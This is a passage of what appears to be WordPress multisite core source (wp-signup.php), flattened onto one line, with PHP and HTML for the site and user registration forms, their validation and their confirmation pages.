signup_get_available_languages(); if ( ! empty( $languages ) ) : ?> <p> <label for="site-language"><?php _e( 'Site Language:' ); ?></label> <?php // Network default. $lang = get_site_option( 'WPLANG' ); if ( isset( $_POST['WPLANG'] ) ) { $lang = $_POST['WPLANG']; } // Use US English if the default isn't available. if ( ! in_array( $lang, $languages, true ) ) { $lang = ''; } wp_dropdown_languages( array( 'name' => 'WPLANG', 'id' => 'site-language', 'selected' => $lang, 'languages' => $languages, 'show_available_translations' => false, ) ); ?> </p> <?php endif; // Languages. $blog_public_on_checked = ''; $blog_public_off_checked = ''; if ( isset( $_POST['blog_public'] ) && '0' === $_POST['blog_public'] ) { $blog_public_off_checked = 'checked="checked"'; } else { $blog_public_on_checked = 'checked="checked"'; } ?> <div id="privacy"> <p class="privacy-intro"> <?php _e( 'Privacy:' ); ?> <?php _e( 'Allow search engines to index this site.' ); ?> <br style="clear:both" /> <label class="checkbox" for="blog_public_on"> <input type="radio" id="blog_public_on" name="blog_public" value="1" <?php echo $blog_public_on_checked; ?> /> <strong><?php _e( 'Yes' ); ?></strong> </label> <label class="checkbox" for="blog_public_off"> <input type="radio" id="blog_public_off" name="blog_public" value="0" <?php echo $blog_public_off_checked; ?> /> <strong><?php _e( 'No' ); ?></strong> </label> </p> </div> <?php /** * Fires after the site sign-up form. * * @since 3.0.0 * * @param WP_Error $errors A WP_Error object possibly containing 'blogname' or 'blog_title' errors. */ do_action( 'signup_blogform', $errors ); } /** * Validate the new site signup * * @since MU (3.0.0) * * @return array Contains the new site data and error messages. */ function validate_blog_form() { $user = ''; if ( is_user_logged_in() ) { $user = wp_get_current_user(); } return wpmu_validate_blog_signup( $_POST['blogname'], $_POST['blog_title'], $user ); } /** * Displays the fields for the new user account registration form. * * @since MU (3.0.0) * * @param string $user_name The entered username. * @param string $user_email The entered email address. * @param WP_Error|string $errors A WP_Error object containing existing errors. Defaults to empty string. */ function show_user_form( $user_name = '', $user_email = '', $errors = '' ) { if ( ! is_wp_error( $errors ) ) { $errors = new WP_Error(); } // Username. echo '<label for="user_name">' . __( 'Username:' ) . '</label>'; $errmsg = $errors->get_error_message( 'user_name' ); if ( $errmsg ) { echo '<p class="error">' . $errmsg . '</p>'; } echo '<input name="user_name" type="text" id="user_name" value="' . esc_attr( $user_name ) . '" autocapitalize="none" autocorrect="off" maxlength="60" /><br />'; _e( '(Must be at least 4 characters, letters and numbers only.)' ); ?> <label for="user_email"><?php _e( 'Email Address:' ); ?></label> <?php $errmsg = $errors->get_error_message( 'user_email' ); if ( $errmsg ) { ?> <p class="error"><?php echo $errmsg; ?></p> <?php } ?> <input name="user_email" type="email" id="user_email" value="<?php echo esc_attr( $user_email ); ?>" maxlength="200" /><br /><?php _e( 'We send your registration email to this address. (Double-check your email address before continuing.)' ); ?> <?php $errmsg = $errors->get_error_message( 'generic' ); if ( $errmsg ) { echo '<p class="error">' . $errmsg . '</p>'; } /** * Fires at the end of the new user account registration form. * * @since 3.0.0 * * @param WP_Error $errors A WP_Error object containing 'user_name' or 'user_email' errors. */ do_action( 'signup_extra_fields', $errors ); } /** * Validate user signup name and email * * @since MU (3.0.0) * * @return array Contains username, email, and error messages. */ function validate_user_form() { return wpmu_validate_user_signup( $_POST['user_name'], $_POST['user_email'] ); } /** * Allow returning users to sign up for another site * * @since MU (3.0.0) * * @param string $blogname The new site name * @param string $blog_title The new site title. * @param WP_Error|string $errors A WP_Error object containing existing errors. Defaults to empty string. */ function signup_another_blog( $blogname = '', $blog_title = '', $errors = '' ) { $current_user = wp_get_current_user(); if ( ! is_wp_error( $errors ) ) { $errors = new WP_Error(); } $signup_defaults = array( 'blogname' => $blogname, 'blog_title' => $blog_title, 'errors' => $errors, ); /** * Filters the default site sign-up variables. * * @since 3.0.0 * * @param array $signup_defaults { * An array of default site sign-up variables. * * @type string $blogname The site blogname. * @type string $blog_title The site title. * @type WP_Error $errors A WP_Error object possibly containing 'blogname' or 'blog_title' errors. * } */ $filtered_results = apply_filters( 'signup_another_blog_init', $signup_defaults ); $blogname = $filtered_results['blogname']; $blog_title = $filtered_results['blog_title']; $errors = $filtered_results['errors']; /* translators: %s: Network title. */ echo '<h2>' . sprintf( __( 'Get <em>another</em> %s site in seconds' ), get_network()->site_name ) . '</h2>'; if ( $errors->has_errors() ) { echo '<p>' . __( 'There was a problem, please correct the form below and try again.' ) . '</p>'; } ?> <p> <?php printf( /* translators: %s: Current user's display name. */ __( 'Welcome back, %s. By filling out the form below, you can <strong>add another site to your account</strong>. There is no limit to the number of sites you can have, so create to your heart’s content, but write responsibly!' ), $current_user->display_name ); ?> </p> <?php $blogs = get_blogs_of_user( $current_user->ID ); if ( ! empty( $blogs ) ) { ?> <p><?php _e( 'Sites you are already a member of:' ); ?></p> <ul> <?php foreach ( $blogs as $blog ) { $home_url = get_home_url( $blog->userblog_id ); echo '<li><a href="' . esc_url( $home_url ) . '">' . $home_url . '</a></li>'; } ?> </ul> <?php } ?> <p><?php _e( 'If you’re not going to use a great site domain, leave it for a new user. Now have at it!' ); ?></p> <form id="setupform" method="post" action="wp-signup.php"> <input type="hidden" name="stage" value="gimmeanotherblog" /> <?php /** * Hidden sign-up form fields output when creating another site or user. * * @since MU (3.0.0) * * @param string $context A string describing the steps of the sign-up process. The value can be * 'create-another-site', 'validate-user', or 'validate-site'. */ do_action( 'signup_hidden_fields', 'create-another-site' ); ?> <?php show_blog_form( $blogname, $blog_title, $errors ); ?> <p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e( 'Create Site' ); ?>" /></p> </form> <?php } /** * Validate a new site signup for an existing user. * * @global string $blogname The new site's subdomain or directory name. * @global string $blog_title The new site's title. * @global WP_Error $errors Existing errors in the global scope. * @global string $domain The new site's domain. * @global string $path The new site's path. * * @since MU (3.0.0) * * @return null|bool True if site signup was validated, false if error. * The function halts all execution if the user is not logged in. */ function validate_another_blog_signup() { global $blogname, $blog_title, $errors, $domain, $path; $current_user = wp_get_current_user(); if ( ! is_user_logged_in() ) { die(); } $result = validate_blog_form(); // Extracted values set/overwrite globals. $domain = $result['domain']; $path = $result['path']; $blogname = $result['blogname']; $blog_title = $result['blog_title']; $errors = $result['errors']; if ( $errors->has_errors() ) { signup_another_blog( $blogname, $blog_title, $errors ); return false; } $public = (int) $_POST['blog_public']; $blog_meta_defaults = array( 'lang_id' => 1, 'public' => $public, ); // Handle the language setting for the new site. if ( ! empty( $_POST['WPLANG'] ) ) { $languages = signup_get_available_languages(); if ( in_array( $_POST['WPLANG'], $languages, true ) ) { $language = wp_unslash( sanitize_text_field( $_POST['WPLANG'] ) ); if ( $language ) { $blog_meta_defaults['WPLANG'] = $language; } } } /** * Filters the new site meta variables. * * Use the {@see 'add_signup_meta'} filter instead. * * @since MU (3.0.0) * @deprecated 3.0.0 Use the {@see 'add_signup_meta'} filter instead. * * @param array $blog_meta_defaults An array of default blog meta variables. */ $meta_defaults = apply_filters_deprecated( 'signup_create_blog_meta', array( $blog_meta_defaults ), '3.0.0', 'add_signup_meta' ); /** * Filters the new default site meta variables. * * @since 3.0.0 * * @param array $meta { * An array of default site meta variables. * * @type int $lang_id The language ID. * @type int $blog_public Whether search engines should be discouraged from indexing the site. 1 for true, 0 for false. * } */ $meta = apply_filters( 'add_signup_meta', $meta_defaults ); $blog_id = wpmu_create_blog( $domain, $path, $blog_title, $current_user->ID, $meta, get_current_network_id() ); if ( is_wp_error( $blog_id ) ) { return false; } confirm_another_blog_signup( $domain, $path, $blog_title, $current_user->user_login, $current_user->user_email, $meta, $blog_id ); return true; } /** * Confirm a new site signup. * * @since MU (3.0.0) * @since 4.4.0 Added the `$blog_id` parameter. * * @param string $domain The domain URL. * @param string $path The site root path. * @param string $blog_title The site title. * @param string $user_name The username. * @param string $user_email The user's email address. * @param array $meta Any additional meta from the {@see 'add_signup_meta'} filter in validate_blog_signup(). * @param int $blog_id The site ID. */ function confirm_another_blog_signup( $domain, $path, $blog_title, $user_name, $user_email = '', $meta = array(), $blog_id = 0 ) { if ( $blog_id ) { switch_to_blog( $blog_id ); $home_url = home_url( '/' ); $login_url = wp_login_url(); restore_current_blog(); } else { $home_url = 'http://' . $domain . $path; $login_url = 'http://' . $domain . $path . 'wp-login.php'; } $site = sprintf( '<a href="%1$s">%2$s</a>', esc_url( $home_url ), $blog_title ); ?> <h2> <?php /* translators: %s: Site title. */ printf( __( 'The site %s is yours.' ), $site ); ?> </h2> <p> <?php printf( /* translators: 1: Link to new site, 2: Login URL, 3: Username. */ __( '%1$s is your new site. <a href="%2$s">Log in</a> as “%3$s” using your existing password.' ), sprintf( '<a href="%s">%s</a>', esc_url( $home_url ), untrailingslashit( $domain . $path ) ), esc_url( $login_url ), $user_name ); ?> </p> <?php /** * Fires when the site or user sign-up process is complete. * * @since 3.0.0 */ do_action( 'signup_finished' ); } /** * Shows a form for a visitor to sign up for a new user account. * * @since MU (3.0.0) * * @param string $user_name The username. * @param string $user_email The user's email. * @param WP_Error|string $errors A WP_Error object containing existing errors. Defaults to empty string. */ function signup_user( $user_name = '', $user_email = '', $errors = '' ) { global $active_signup; if ( ! is_wp_error( $errors ) ) { $errors = new WP_Error(); } $signup_for = isset( $_POST['signup_for'] ) ? esc_html( $_POST['signup_for'] ) : 'blog'; $signup_user_defaults = array( 'user_name' => $user_name, 'user_email' => $user_email, 'errors' => $errors, ); /** * Filters the default user variables used on the user sign-up form. * * @since 3.0.0 * * @param array $signup_user_defaults { * An array of default user variables. * * @type string $user_name The user username. * @type string $user_email The user email address. * @type WP_Error $errors A WP_Error object with possible errors relevant to the sign-up user. * } */ $filtered_results = apply_filters( 'signup_user_init', $signup_user_defaults ); $user_name = $filtered_results['user_name']; $user_email = $filtered_results['user_email']; $errors = $filtered_results['errors']; ?> <h2> <?php /* translators: %s: Name of the network. */ printf( __( 'Get your own %s account in seconds' ), get_network()->site_name ); ?> </h2> <form id="setupform" method="post" action="wp-signup.php" novalidate="novalidate"> <input type="hidden" name="stage" value="validate-user-signup" /> <?php /** This action is documented in wp-signup.php */ do_action( 'signup_hidden_fields', 'validate-user' ); ?> <?php show_user_form( $user_name, $user_email, $errors ); ?> <p> <?php if ( 'blog' === $active_signup ) { ?> <input id="signupblog" type="hidden" name="signup_for" value="blog" /> <?php } elseif ( 'user' === $active_signup ) { ?> <input id="signupblog" type="hidden" name="signup_for" value="user" /> <?php } else { ?> <input id="signupblog" type="radio" name="signup_for" value="blog" <?php checked( $signup_for, 'blog' ); ?> /> <label class="checkbox" for="signupblog"><?php _e( 'Gimme a site!' ); ?></label> <br /> <input id="signupuser" type="radio" name="signup_for" value="user" <?php checked( $signup_for, 'user' ); ?> /> <label class="checkbox" for="signupuser"><?php _e( 'Just a username, please.' ); ?></label> <?php } ?> </p> <p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e( 'Next' ); ?>" /></p> </form> <?php } /** * Validate the new user signup * * @since MU (3.0.0) * * @return bool True if new user signup was validated, false if error */ function validate_user_signup() { $result = validate_user_form(); $user_name = $result['user_name']; $user_email = $result['user_email']; $errors = $result['errors']; if ( $errors->has_errors() ) { signup_user( $user_name, $user_email, $errors ); return false; } if ( 'blog' === $_POST['signup_for'] ) { signup_blog( $user_name, $user_email ); return false; } /** This filter is documented in wp-signup.php */ wpmu_signup_user( $user_name, $user_email, apply_filters( 'add_signup_meta', array() ) ); confirm_user_signup( $user_name, $user_email ); return true; } /** * New user signup confirmation * * @since MU (3.0.0) * * @param string $user_name The username * @param string $user_email The user's email address */ function confirm_user_signup( $user_name, $user_email ) { ?> <h2> <?php /* translators: %s: Username. */ printf( __( '%s is your new username' ), $user_name ) ?> </h2> <p><?php _e( 'But, before you can start using your new username, <strong>you must activate it</strong>.' ); ?></p> <p> <?php /* translators: %s: Email address. */ printf( __( 'Check your inbox at %s and click the link given.' ), '<strong>' . $user_email . '</strong>' ); ?> </p> <p><?php _e( 'If you do not activate your username within two days, you will have to sign up again.' ); ?></p> <?php /** This action is documented in wp-signup.php */ do_action( 'signup_finished' ); } /** * Shows a form for a user or visitor to sign up for a new site. * * @since MU (3.0.0) * * @param string $user_name The username. * @param string $user_email The user's email address. * @param string $blogname The site name. * @param string $blog_title The site title. * @param WP_Error|string $errors A WP_Error object containing existing errors. Defaults to empty string. */ function signup_blog( $user_name = '', $user_email = '', $blogname = '', $blog_title = '', $errors = '' ) { if ( ! is_wp_error( $errors ) ) { $errors = new WP_Error(); } $signup_blog_defaults = array( 'user_name' => $user_name, 'user_email' => $user_email, 'blogname' => $blogname, 'blog_title' => $blog_title, 'errors' => $errors, ); /** * Filters the default site creation variables for the site sign-up form. * * @since 3.0.0 * * @param array $signup_blog_defaults { * An array of default site creation variables. * * @type string $user_name The user username. * @type string $user_email The user email address. * @type string $blogname The blogname. * @type string $blog_title The title of the site. * @type WP_Error $errors A WP_Error object with possible errors relevant to new site creation variables. * } */ $filtered_results = apply_filters( 'signup_blog_init', $signup_blog_defaults ); $user_name = $filtered_results['user_name']; $user_email = $filtered_results['user_email']; $blogname = $filtered_results['blogname']; $blog_title = $filtered_results['blog_title']; $errors = $filtered_results['errors']; if ( empty( $blogname ) ) { $blogname = $user_name; } ?> <form id="setupform" method="post" action="wp-signup.php"> <input type="hidden" name="stage" value="validate-blog-signup" /> <input type="hidden" name="user_name" value="<?php echo esc_attr( $user_name ); ?>" /> <input type="hidden" name="user_email" value="<?php echo esc_attr( $user_email ); ?>" /> <?php /** This action is documented in wp-signup.php */ do_action( 'signup_hidden_fields', 'validate-site' ); ?> <?php show_blog_form( $blogname, $blog_title, $errors ); ?> <p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e( 'Signup' ); ?>" /></p> </form> <?php } /** * Validate new site signup * * @since MU (3.0.0) * * @return bool True if the site signup was validated, false if error */ function validate_blog_signup() { // Re-validate user info. $user_result = wpmu_validate_user_signup( $_POST['user_name'], $_POST['user_email'] ); $user_name = $user_result['user_name']; $user_email = $user_result['user_email']; $user_errors = $user_result['errors']; if ( $user_errors->has_errors() ) { signup_user( $user_name, $user_email, $user_errors ); return false; } $result = wpmu_validate_blog_signup( $_POST['blogname'], $_POST['blog_title'] ); $domain = $result['domain']; $path = $result['path']; $blogname = $result['blogname']; $blog_title = $result['blog_title']; $errors = $result['errors']; if ( $errors->has_errors() ) { signup_blog( $user_name, $user_email, $blogname, $blog_title, $errors ); return false; } $public = (int) $_POST['blog_public']; $signup_meta = array( 'lang_id' => 1, 'public' => $public, ); // Handle the language setting for the new site. if ( ! empty( $_POST['WPLANG'] ) ) { $languages = signup_get_available_languages(); if ( in_array( $_POST['WPLANG'], $languages, true ) ) { $language = wp_unslash( sanitize_text_field( $_POST['WPLANG'] ) ); if ( $language ) { $signup_meta['WPLANG'] = $language; } } } /** This filter is documented in wp-signup.php */ $meta = apply_filters( 'add_signup_meta', $signup_meta ); wpmu_signup_blog( $domain, $path, $blog_title, $user_name, $user_email, $meta ); confirm_blog_signup( $domain, $path, $blog_title, $user_name, $user_email, $meta ); return true; } /** * Shows a message confirming that the new site has been registered and is awaiting activation. * * @since MU (3.0.0) * * @param string $domain The domain or subdomain of the site. * @param string $path The path of the site. * @param string $blog_title The title of the new site. * @param string $user_name The user's username. * @param string $user_email The user's email address. * @param array $meta Any additional meta from the {@see 'add_signup_meta'} filter in validate_blog_signup(). */ function confirm_blog_signup( $domain, $path, $blog_title, $user_name = '', $user_email = '', $meta = array() ) { ?> <h2> <?php /* translators: %s: Site address. */ printf( __( 'Congratulations! Your new site, %s, is almost ready.' ), "<a href='http://{$domain}{$path}'>{$blog_title}</a>" ) ?> </h2> <p><?php _e( 'But, before you can start using your site, <strong>you must activate it</strong>.' ); ?></p> <p> <?php /* translators: %s: Email address. */ printf( __( 'Check your inbox at %s and click the link given.' ), '<strong>' . $user_email . '</strong>' ); ?> </p> <p><?php _e( 'If you do not activate your site within two days, you will have to sign up again.' ); ?></p> <h2><?php _e( 'Still waiting for your email?' ); ?></h2> <p> <?php _e( 'If you haven’t received your email yet, there are a number of things you can do:' ); ?> <ul id="noemail-tips"> <li><p><strong><?php _e( 'Wait a little longer. Sometimes delivery of email can be delayed by processes outside of our control.' ); ?></strong></p></li> <li><p><?php _e( 'Check the junk or spam folder of your email client. Sometime emails wind up there by mistake.' ); ?></p></li> <li> <?php /* translators: %s: Email address. */ printf( __( 'Have you entered your email correctly? You have entered %s, if it’s incorrect, you will not receive your email.' ), $user_email ); ?> </li> </ul> </p> <?php /** This action is documented in wp-signup.php */ do_action( 'signup_finished' ); } /** * Retrieves languages available during the site/user signup process. * * @since 4.4.0 * * @see get_available_languages() * * @return array List of available languages. */ function signup_get_available_languages() { /** * Filters the list of available languages for front-end site signups. * * Passing an empty array to this hook will disable output of the setting on the * signup form, and the default language will be used when creating the site. * * Languages not already installed will be stripped. * * @since 4.4.0 * * @param array $available_languages Available languages. */ $languages = (array) apply_filters( 'signup_get_available_languages', get_available_languages() ); /* * Strip any non-installed languages and return. * * Re-call get_available_languages() here in case a language pack was installed * in a callback hooked to the 'signup_get_available_languages' filter before this point. */ return array_intersect_assoc( $languages, get_available_languages() ); } // Main. $active_signup = get_site_option( 'registration', 'none' ); /** * Filters the type of site sign-up. * * @since 3.0.0 * * @param string $active_signup String that returns registration type. The value can be * 'all', 'none', 'blog', or 'user'. */ $active_signup = apply_filters( 'wpmu_active_signup', $active_signup ); if ( current_user_can( 'manage_network' ) ) { echo '<div class="mu_alert">'; _e( 'Greetings Network Administrator!' ); echo ' '; switch ( $active_signup ) { case 'none': _e( 'The network currently disallows registrations.' ); break; case 'blog': _e( 'The network currently allows site registrations.' ); break; case 'user': _e( 'The network currently allows user registrations.' ); break; default: _e( 'The network currently allows both site and user registrations.' ); break; } echo ' '; /* translators: %s: URL to Network Settings screen. */ printf( __( 'To change or disable registration go to your <a href="%s">Options page</a>.' ), esc_url( network_admin_url( 'settings.php' ) ) ); echo '</div>'; } $newblogname = isset( $_GET['new'] ) ? strtolower( preg_replace( '/^-|-$|[^-a-zA-Z0-9]/', '', $_GET['new'] ) ) : null; $current_user = wp_get_current_user(); if ( 'none' === $active_signup ) { _e( 'Registration has been disabled.' ); } elseif ( 'blog' === $active_signup && ! is_user_logged_in() ) { $login_url = wp_login_url( network_site_url( 'wp-signup.php' ) ); /* translators: %s: Login URL. */ printf( __( 'You must first <a href="%s">log in</a>, and then you can create a new site.' ), $login_url ); } else { $stage = isset( $_POST['stage'] ) ? $_POST['stage'] : 'default'; switch ( $stage ) { case 'validate-user-signup': if ( 'all' === $active_signup || ( 'blog' === $_POST['signup_for'] && 'blog' === $active_signup ) || ( 'user' === $_POST['signup_for'] && 'user' === $active_signup ) ) { validate_user_signup(); } else { _e( 'User registration has been disabled.' ); } break; case 'validate-blog-signup': if ( 'all' === $active_signup || 'blog' === $active_signup ) { validate_blog_signup(); } else { _e( 'Site registration has been disabled.' ); } break; case 'gimmeanotherblog': validate_another_blog_signup(); break; case 'default': default: $user_email = isset( $_POST['user_email'] ) ? $_POST['user_email'] : ''; /** * Fires when the site sign-up form is sent. * * @since 3.0.0 */ do_action( 'preprocess_signup_form' ); if ( is_user_logged_in() && ( 'all' === $active_signup || 'blog' === $active_signup ) ) { signup_another_blog( $newblogname ); } elseif ( ! is_user_logged_in() && ( 'all' === $active_signup || 'user' === $active_signup ) ) { signup_user( $newblogname, $user_email ); } elseif ( ! is_user_logged_in() && ( 'blog' === $active_signup ) ) { _e( 'Sorry, new registrations are not allowed at this time.' ); } else { _e( 'You are logged in already. No need to register again!' ); } if ( $newblogname ) { $newblog = get_blogaddress_by_name( $newblogname ); if ( 'blog' === $active_signup || 'all' === $active_signup ) { printf( /* translators: %s: Site address. */ '<p>' . __( 'The site you were looking for, %s, does not exist, but you can create it now!' ) . '</p>', '<strong>' . $newblog . '</strong>' ); } else { printf( /* translators: %s: Site address. */ '<p>' . __( 'The site you were looking for, %s, does not exist.' ) . '</p>', '<strong>' . $newblog . '</strong>' ); } } break; } } ?> </div> </div> <?php /** * Fires after the sign-up forms, before wp_footer. * * @since 3.0.0 */ do_action( 'after_signup_form' ); ?> <?php get_footer( 'wp-signup' );
Close